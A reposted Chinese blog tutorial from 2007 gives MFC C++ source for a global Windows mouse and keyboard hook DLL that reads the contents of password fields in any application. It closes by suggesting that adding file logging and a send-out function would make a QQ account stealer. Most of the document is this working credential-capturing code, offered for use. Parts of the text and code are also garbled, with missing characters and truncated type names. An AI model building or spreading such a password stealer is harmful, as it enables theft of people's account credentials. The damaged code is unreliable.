利用滑鼠鍵盤鉤子截獲密碼。 (轉)

amyz發表於2007-11-28
利用滑鼠鍵盤鉤子截獲密碼。 (轉)[@more@]

利用滑鼠鍵盤鉤子截獲密碼。

原始碼示例:/soft/GetPass_Src.rar">


鉤子能截獲並得理髮送給其它應用的訊息,能完成一般程式無法完成的功能。掌握鉤子的方法是很有必要的

鉤子分類 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以監視傳送到視窗過程的訊息
3、WH_DE 鉤子
4、WH_FOREGROUNDIDLE 噹噹應用程式的前臺執行緒大概要變成空閒狀態時,系統就會 WH_FOREGROUNDIDL
5、WH_JOURNALRECORD 監視和記錄輸入事件
6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD記錄事件
7、WH_KEYBOARD 鍵盤鉤子
9、WH_KEYBOARD_LL 低層鍵盤鉤子
10、WH_MOUSE 滑鼠鉤子
11、WH_MOUSE_LL 底層滑鼠鉤子
12、WH_ 外殼鉤子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER  使我們可以監視選單,捲軸,訊息框等

鉤子:
  呼叫SetHookEx安裝鉤子。其函式原型為:
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,D dwThreadId )
 idHook表示鉤子型別,它是和鉤子函式型別一一對應的。如,WH_KEYBOARD,WH_MOUSE。
 Lpfn是鉤子函式的地址。
 HMod是鉤子函式所在的例項的控制程式碼。對於執行緒鉤子,該引數為NULL;對於系統鉤子,該引數為鉤子函式所在的DLL控制程式碼。 (系統鉤子必須在DLL中)
    dwThreadId 指定鉤子所監視的執行緒的執行緒號。對於全域性鉤子,該引數為NULL。
   SetWindowsHookEx返回所安裝的鉤子控制程式碼。

解除安裝鉤子
   呼叫函式 BOOL UnhookWindowsHookEx( HHOOK hhk)解除安裝鉤子

定義鉤子函式
  鉤子函式是一種特殊的回撥函式。鉤子監視的特定事件發生後,系統會呼叫鉤子函式進行處理。一般為下:
 LRESULT WIN MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
 引數wParam和 lParam包含所鉤訊息的資訊,比如滑鼠位置、狀態,鍵盤按鍵等。nCode包含有關訊息本身的信,比如是否從訊息佇列中移出。

例項:
 下面我們透過安裝滑鼠鉤子。和鍵盤鉤子還截獲輸入的密碼,並可檢視*密碼為例,來說明何何使用鉤子。

1,進入嚮導,新建MFC AppWizard(dll) 取名為GetPass,選擇MFC Extension DLL,完成。
2,新建一個CGetPassHook 類,基類:C,並加入StartHook,StopHook,函式,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject 
{
public:
 BOOL StopHook();
 BOOL StartHook(HWND hwnd);
 
 CGetPassHook();
 virtual ~CGetPassHook();

};
3:加入全域性共享資料,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL;  hook
HHOOK hMouseHook=NULL;  hook
HINSTANCE glhInstance=NULL;  instance
HWND hOutPutWnd=NULL;  Pass Wnd
#pragma data_seg()

4:加入滑鼠,鍵盤鉤子處理函式,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{ 標鉤子得理函式
 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 if(nCode>=0)
 {
 HWND hTargetHwnd=lpMouse->hwnd; 到滑鼠所在視窗控制程式碼
 if(hTargetHwnd)
 {
 LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); 到它的樣式
 if(style&ES_PASSWORD) 果是密碼框
 {
 char szPass[255];
 ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
 到密碼
 ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
 示密碼
 }
 }
 }
 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
 上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,
 以起到截兒訊息的目的,我們這裡呼叫之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{  hook proc

 if(nCode>=0)
 {
 HWND hTargetHwnd=GetActiveWindow();  active window
 if(hTargetHwnd)
 EnumChildWindows(hTargetHwnd,EnumWndProc,0); 舉所有視窗
 }

 return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
 上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,
 以起到截兒訊息的目的,我們這裡呼叫之。
}

 這裡要介紹下EnumChildWindows函式,原形如下:
 BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
 hWndParent:為列舉視窗的控制程式碼
 lpEnumFunc:列舉函式的地址,
 lParam:這裡為0

5:加入列舉視窗的函式。如下:(注意,因為前面的函式據要用到此函式,所以要麼在前面宣告,要麼放在上面函式之前定義。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{  the child window,find passedit
 if(hwnd)
 {
 LONG style=::GetWindowLong(hwnd,GWL_STYLE); 到STYLE
 if(style&ES_PASSWORD) 密碼框
 {
 char szPass[255];
 ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); 到PASS
 ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); 示
 return TRUE;
 }
 }

 return TRUE;
}

6:在DEF中定義段屬性: (這步很重要)
  SECTIONS
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函式,啟動/關閉鉤子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{  hoook
 hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
  hook
 hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
  hook
 if(hMouseHook&&hKeyBoardHook)
 {
 hOutPutWnd=hwnd; 示密碼的控制程式碼
 return TRUE;
 }
 return FALSE;
}

BOOL CGetPassHook::StopHook()
{  hook
 BOOL mHook=UnhookWindowsHookEx(hMouseHook);
 BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
 if(mHook&&kHook)
 return TRUE;
 return FALSE;
}

8:在DLLMAIN函式中得到DLL控制程式碼,要用到glhInstance變數,因此要加入一句,如下:
extern HINSTANCE glhInstance; 得這裡
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 UNREFERENCED_PARAMETER(lpReserved);
 if (dwReason == DLL_PROCESS_ATTACH)
 {
 TRACE0("GETPASS.DLL Initializing!n");
 
 if (!AfxInitExtensionModule(GetPassDLL, hInstance))
 return 0;
 new CDynLinkLibrary(GetPassDLL);
 glhInstance=hInstance; 到控制程式碼
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
 TRACE0("GETPASS.DLL Tenating!n");
 AfxTermExtensionModule(GetPassDLL);
 }
 return 1;  // ok
}

9:編譯,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名為GetPassWord,並在第一步中選擇Add to Current WorkSpace加入到當前工作區,這樣方便。

2:將剛才的DLL中的GetPass.lib,和GetPassHook.h複製APP所在目錄,然後Project->Add to Project--&gtFiles
選擇這兩個檔案。

2:在主對話方塊中,加入一個EDIT,ID 為IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h檔案,宣告一個。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
 CGetPassHook m_hook;
。。。
 DECLARE_MESSAGE_MAP()
};

4:在實現檔案中:OnInitDialog()中起動HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
 CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
 m_hook.StartHook(pWnd->GetSafeHwnd());  hook

 return TRUE;  // return TRUE  unless you set the focus to a control
}

5:加入WM_DESTROY訊息,在退出程式時停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
 CDialog::OnDestroy();
 m_hook.StopHook();  hook
}

6:將GetPass.dll複製到。EXE一個目錄下,

7:編譯,執行.
 這樣,你在輸入任何密碼框輸入密碼時,密碼都將截獲。就算鍵盤HOOK失效,移動滑鼠到密碼框,也都獲取*號密碼,因為我們安裝兩個HOOK。啟動qq,輸入密碼,試下看是否已經截獲了密碼?將本程式稍做修改,將截獲的密碼輸出到檔案,並加入傳送攻能,一個QQ盜號器就做成了。

 


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752019/viewspace-985569/,如需轉載,請註明出處,否則將追究法律責任。

相關文章